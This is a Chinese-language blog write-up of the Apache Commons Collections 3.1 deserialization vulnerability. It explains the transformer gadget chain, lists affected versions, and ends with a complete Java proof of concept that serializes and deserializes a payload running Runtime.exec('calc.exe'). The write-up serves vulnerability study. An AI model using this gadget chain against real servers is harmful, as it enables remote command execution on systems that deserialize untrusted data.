Apache-CommonsCollections反序列化漏洞分析

  • A+
所属分类:安全文章
Apache-CommonsCollections反序列化漏洞分析

点击蓝字关注我们吧!



环境搭建


本文由“壹伴编辑器”提供技术

JDK版本为为1.6,

引入commons-collections-3.1.jar包,具体引入方法为:


File -> Project Settings -> Modules -> Dependencies


点击加号选择导入JARs包,再选择包的地址,点击apply成功引入。



Apache-CommonsCollections反序列化漏洞分析




Apache-CommonsCollections反序列化漏洞分析

Poc():


本文由“壹伴编辑器”提供技术


Apache-CommonsCollections反序列化漏洞分析



Apache-CommonsCollections反序列化漏洞分析



分析:


本文由“壹伴编辑器”提供技术


前面提到过要实现序列化与反序列化目标对象要实现Serializable接口


Apache Commons Collections中有一个特殊的接口


其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer。


InvokerTransformer部分源码,可以看到其实现了Transformer和Serializable接口。



Apache-CommonsCollections反序列化漏洞分析


Apache-CommonsCollections反序列化漏洞分析

本文由“壹伴编辑器”提供技术


InvokerTranformer类中的transform方法,该方法使用反射进行函数调用


input参数是要反射的对象,iMethodName、iParamTypes分别是调用的方法名称和参数类型,iArgs是要调用的方法的参数。这三个参数都是可控的。




Apache-CommonsCollections反序列化漏洞分析

本文由“壹伴编辑器”提供技术



ConstantTransformer类的transform()方法是返回iConstant属性,并且该属性也是可控的。


ChainedTransformer类很关键,这是它的构造函数:



Apache-CommonsCollections反序列化漏洞分析



从其构造函数可以看出它是传入一个Transform数组,在看一下它的transform()方法。



Apache-CommonsCollections反序列化漏洞分析

本文由“壹伴编辑器”提供技术



这里使用循环来调用Transformer数组的transform()方法,


并且使用object作为后一个调用transform()方法的参数,这里我们结合前面的poc代码看:



Apache-CommonsCollections反序列化漏洞分析

本文由“壹伴编辑器”提供技术


这里代码有些绕,要结合前面对各个类的分析,


大概意思是创建一个transformers数组:

第一个参数是ConstantTransformer对象,
后面参数都是InvokerTransformer对象


(备注:InvokerTransformer类和ConstantTransformer类前面都有提到)


最后创建ChainedTransformer对象并将transformers数组传入。



Debug截图:


Apache-CommonsCollections反序列化漏洞分析

本文由“壹伴编辑器”提供技术


Apache-CommonsCollections反序列化漏洞分析



Apache-CommonsCollections反序列化漏洞分析

本文由“壹伴编辑器”提供技术



这个checkSetValue()会触发transform方法。然后我们思路清晰起来了,


首先,

构造一个Map和一个代码执行的ChainedTransforme

生成一个TransformedMap。


Poc中的代码如下:




Apache-CommonsCollections反序列化漏洞分析

本文由“壹伴编辑器”提供技术


Outmap就是已经构造好的TransformedMap,

下一步需要能让服务器反序列化对象时,触发outmap的checkSetValue()方法。


这时就要用到AnnotationInvocationHandler类,


这个类中有一个变量memberValues是Map类型,如下图所示:




Apache-CommonsCollections反序列化漏洞分析

本文由“壹伴编辑器”提供技术


AnnotationInvocationHandler的readObject()方法中,对memberValues的每一项都调用了setValue()函数,



代码如下:


Apache-CommonsCollections反序列化漏洞分析

本文由“壹伴编辑器”提供技术



这里的setValue()函数就会触发checkValue()函数,代码如图:




Apache-CommonsCollections反序列化漏洞分析

本文由“壹伴编辑器”提供技术


所以我们要使用outmap来构造AnnotationInvocationHandler,进行序列化,


后面触发readerObject()反序列化时就能实现命令执行:



Apache-CommonsCollections反序列化漏洞分析

本文由“壹伴编辑器”提供技术

下面分别是序列化与反序列化的简单本地模拟代码:



Apache-CommonsCollections反序列化漏洞分析

本文由“壹伴编辑器”提供技术

一般情况是服务器有一个反序列化接口,我们将自己构造的恶意代码序列化后通过接口远程调用,或者传输到服务器上,服务器进行反序列化调用readObject()函数;


然后成功命令执行。



Apache-CommonsCollections反序列化漏洞分析

本文由“壹伴编辑器”提供技术支


服务器端反序列化执行大概步骤:


Apache-CommonsCollections反序列化漏洞分析


漏洞影响:


1.Spring Framework <= 3.0.5,<= 2.0.6;

2.Groovy < 2.4.4;

3.Apache Commons Collections <= 3.2.1,<= 4.0.0;



附POC代码:



package com.company;import java.io.File;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;class test1 {    public static Object Reverse_Payload() throws Exception {        Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc.exe" }) };        Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap(); innermap.put("value", "value");Map outmap = TransformedMap.decorate(innermap, null, transformerChain);//通过反射获得AnnotationInvocationHandler类对象 Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//通过反射获得cls的构造函数 Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);//这里需要设置Accessible为true,否则序列化失败 ctor.setAccessible(true);//通过newInstance()方法实例化对象Object instance = ctor.newInstance(Retention.class, outmap);return instance; }
public static void main(String[] args) throws Exception { GeneratePayload(Reverse_Payload(),"obj"); payloadTest("obj"); } public static void GeneratePayload(Object instance, String file) throws Exception {//将构造好的payload序列化后写入文件中 File f = new File(file); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(instance); out.flush(); out.close(); } public static void payloadTest(String file) throws Exception {//读取写入的payload,并进行反序列化 ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));in.readObject();in.close(); }}



end



Apache-CommonsCollections反序列化漏洞分析


发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: